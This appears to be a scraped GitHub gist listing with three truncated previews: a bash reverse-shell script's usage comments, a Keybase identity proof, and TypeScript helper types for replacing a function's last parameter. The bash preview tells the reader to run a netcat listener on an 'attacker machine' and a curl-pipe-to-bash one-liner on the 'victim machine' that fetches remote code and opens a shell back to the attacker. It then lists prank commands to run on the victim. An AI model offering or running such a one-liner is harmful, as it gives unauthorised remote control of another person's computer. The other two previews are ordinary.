This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# run `nc -nvl 80` on attacker machine first | |
# run `curl -Ls https://git.io/JJeRK | bash -s <attacker-ip> 80` on victim machine | |
# great commands to run: | |
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg | |
# open /tmp/monkey.jpg | |
# * say hello | |
# * open http://lmgtfy.com/?q=how+to+lock+mac | |
# * ls |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### Keybase proof | |
I hereby claim: | |
* I am sshmaxime on github. | |
* I am sshmaxime (https://keybase.io/sshmaxime) on keybase. | |
* I have a public key ASCedRoMGQb-WboR5XGnPHjiXhlaPEmT2kCrRxynfx6aSgo | |
To claim this, I am signing this object: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Change last param of a function | |
type LastIndex<T extends readonly any[]> = ((...t: T) => void) extends (x: any, ...r: infer R) => void | |
? Exclude<keyof T, keyof R> | |
: never; | |
type ReplaceLastParam<TParams extends readonly any[], TReplace> = { | |
[K in keyof TParams]: K extends LastIndex<TParams> ? TReplace : TParams[K]; | |
}; | |
type ReplaceLast<F, TReplace> = F extends (...args: infer T) => infer R |